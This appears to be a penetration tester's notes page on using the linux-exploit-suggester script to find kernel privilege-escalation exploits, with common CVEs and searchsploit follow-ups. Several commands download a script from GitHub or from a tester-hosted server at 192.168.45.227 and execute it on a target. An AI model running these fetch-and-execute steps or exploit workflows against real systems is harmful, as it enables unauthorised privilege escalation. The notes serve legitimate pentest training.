linux-exploit-suggester — Linux Exploit Suggester
linux-exploit-suggester (mzet-/linux-exploit-suggester) — bash script that compares kernel version, OS, and packages against a database of public Linux exploits.
Ctrl+F:
linux-exploit-suggester·LES·les.sh·-k·-f·-p·uname -a
When: Linux privesc after Privesc Tools (linpeas) — kernel looks old, SUID/sudo paths exhausted, need exploit candidates. Run on Kali with target output — or copy script to target if bash available.
Windows equivalent → winExploitSuggester
Install (Kali)
git clone https://github.com/mzet-/linux-exploit-suggester.git
cd linux-exploit-suggester
chmod +x linux-exploit-suggester.sh
# One-liner download
curl -L https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh -o les.sh
chmod +x les.shVerify: ./linux-exploit-suggester.sh -h
Full install index → Installation - Kali Setup > 📌 Privilege escalation
python3 -m http.server -d ~/Tools 8000
wget http://192.168.45.227:8000/linux-exploit-suggester/linux-exploit-suggester.sh && chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh > linux-exploit-suggester.txt
📌 1) Target — collect info
Minimum (always):
uname -a
cat /etc/os-release
cat /proc/versionSave to file and transfer to Kali:
uname -a > uname.txt
cat /etc/os-release >> uname.txtOptional — more accurate (package-aware):
dpkg -l > dpkg.txt # Debian / Ubuntu / Kali
rpm -qa > rpm.txt # RHEL / CentOS / Fedora📌 2) Run on Kali (preferred)
# Inline kernel string
./linux-exploit-suggester.sh -k "Linux target 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux"
# From uname file saved on target
./linux-exploit-suggester.sh -f uname.txt
# With package list (best accuracy on Debian)
./linux-exploit-suggester.sh -f uname.txt -p dpkg.txt
# Search for specific CVE
./linux-exploit-suggester.sh -f uname.txt -s CVE-2021-4034CLI flags
| Flag | Purpose |
|---|---|
-k "string" | Kernel version string directly |
-f FILE | File containing uname -a output |
-p FILE | Package list (dpkg -l or rpm -qa) |
-s CVE | Search for specific CVE |
--uname | Use local machine’s uname (test script) |
-h | Help |
📌 3) Run on target (if bash + curl/wget)
curl -L https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh -o les.sh
chmod +x les.sh
./les.sh --unamePrefer offline analysis on Kali — less noise on target, no outbound fetch.
📌 4) Read the output
LES prints Potential Exploits ranked by relevance — each line links to PoC / writeup.
| Output | Action |
|---|---|
| CVE + name | searchsploit CVE · compile PoC in lab first |
| Kernel version match | Verify exact distro build — backports cause false positives |
| No results | Focus on SUID, sudo, cron, caps — Linux |
Common hits (know these):
| CVE | Name | Notes |
|---|---|---|
| CVE-2021-4034 | PwnKit (pkexec) | polkit — pkexec - CVE-2021-4034 PwnKit |
| CVE-2021-3156 | Baron Samedit | sudo heap — Baron Samedit - CVE-2021-3156 |
| CVE-2022-0847 | Dirty Pipe | kernel 5.8+ — Dirty Pipe - CVE-2022-0847 |
| CVE-2016-5195 | Dirty COW | old kernels — Dirty COW - CVE-2016-5195 |
| CVE-2021-3493 | OverlayFS | Ubuntu — OverlayFS - Privilege Escalation |
| CVE-2023-0386 | OverlayFS FUSE | Ubuntu 22.04 — OverlayFS - Privilege Escalation |
| CVE-2022-2588 | DirtyCred / route4 | 5.x — DirtyCred - CVE-2022-2588 |
Cross-check every hit → searchsploit · Linux > 📌 Kernel Exploits
📌 5) Workflow
Low-priv Linux shell
↓
linpeas / manual enum ([[Linux]] · [[Every Box - Manual Workflow]])
↓
uname -a (+ dpkg -l if easy) → transfer to Kali
↓
linux-exploit-suggester.sh -f uname.txt [-p dpkg.txt]
↓
searchsploit / GitHub PoC → compile on Kali → test in lab → run on target
Order of preference on exam:
sudo -l/ SUID / cron / writable paths- LES / kernel exploit (last resort — can crash box)
📌 6) Pair with searchsploit
# LES says CVE-2021-4034 / pkexec
searchsploit CVE-2021-4034
# Kernel — match uname output
searchsploit ubuntu 4.4.0
searchsploit -l ubuntu 4.4
# or: **[[pkexec - CVE-2021-4034 PwnKit]]** — zcrosman cve-2021-4034.sh
searchsploit -m 51789 # copy PoC to current dir📌 Quick Cheat Sheet
# TARGET
uname -a > uname.txt
dpkg -l > dpkg.txt # optional
# KALI
./linux-exploit-suggester.sh -f uname.txt
./linux-exploit-suggester.sh -f uname.txt -p dpkg.txt
./linux-exploit-suggester.sh -f uname.txt -s CVE-2021-4034
# AFTER HIT
searchsploit CVE-XXXX-XXXXNotes
- False positives — distro backports patch CVEs without changing kernel version string. Always verify exploit preconditions.
- Stability — kernel exploits can panic the box. Have a snapshot / retry plan.
- Listed in Linux > 📌 0) Automated Enumeration Tools and Privesc Tools > 📌 2c) linux-exploit-suggester
📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration